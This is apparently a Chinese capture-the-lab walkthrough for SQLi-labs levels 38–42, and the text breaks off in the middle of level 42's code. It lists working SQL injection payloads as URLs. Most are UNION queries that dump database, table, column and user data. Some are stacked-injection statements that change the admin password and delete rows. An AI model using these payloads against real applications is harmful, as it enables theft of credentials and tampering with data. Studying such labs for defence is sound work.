文章目录
第38关:
这一关挺简单的,就一个闭合判断,就可爆数据,但是,这一关的目的不是查询数据,而是通过堆叠注入,对数据库执行操作
堆叠注入,就是利用sql中“;”是标志一句话结束,我们可以通过“;”将多个语句写入到sql语句中,这里的语句就不仅仅是指查询,还有增删查改
闭合判断:
/Less-38/?id=1' and 1=1 --+
sql注入:
#数据库名和用户:
/Less-38/?id=-1'%20 union all select 1,database(),session_user()--+
#数据库表名:
/Less-38/?id=-1' union all select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
#表的列名:
/Less-38/?id=-1' union all select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
现在我们有的库名、表名、还有列名,现在希望可以在数据库中插入一个用户,采用堆叠注入
判断插入是否成功,可以检查数据库,也可以通过查询检查
/Less-38/?id=-1' union all select 1,username,password from users where username='hello'--+
查询成功,我们的数据插入时没问题的
现在希望可以更新admin用户的密码,采用堆叠注入
/Less-38/?id=1';update users set password='hello' where username='admin'--+
判断修改是否成功,通过联合查询检查
/Less-38/?id=8
现在希望删除hello用户,采用堆叠注入
/Less-38/?id=1';delete from users where username='hello'--+
判断是否删除
/Less-38/?id=-1' union all select 1,username,password from users where username='hello' --+
或
/Less-38/?id=-1' union all select 1,group_concat(username),3 from users--+
第39关:
判断闭合:
/Less-39/?id=1 and 1=2--+
这一关和上一关一样,同样是堆叠注入,只是闭合方式不同,采用数字型
操作方法与上面一致,先收集数据,再对数据库操作
第40关:
判断闭合:
/Less-40/index.php?id=1') and 1=2--+
这一关和上一关一样,同样是堆叠注入,只是闭合方式不同,采用数字型
操作方法与上面一致,先收集数据,再对数据库操作
第41关:
判断闭合:
/Less-41/?id=1 and 1=2--+
这一关和上一关一样,同样是堆叠注入,只是闭合方式不同,采用数字型
操作方法与上面一致,先收集数据,再对数据库操作
这一关并没有语法错误的提示,所以要自己判断语句的正确性
第42关:
关键代码:
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST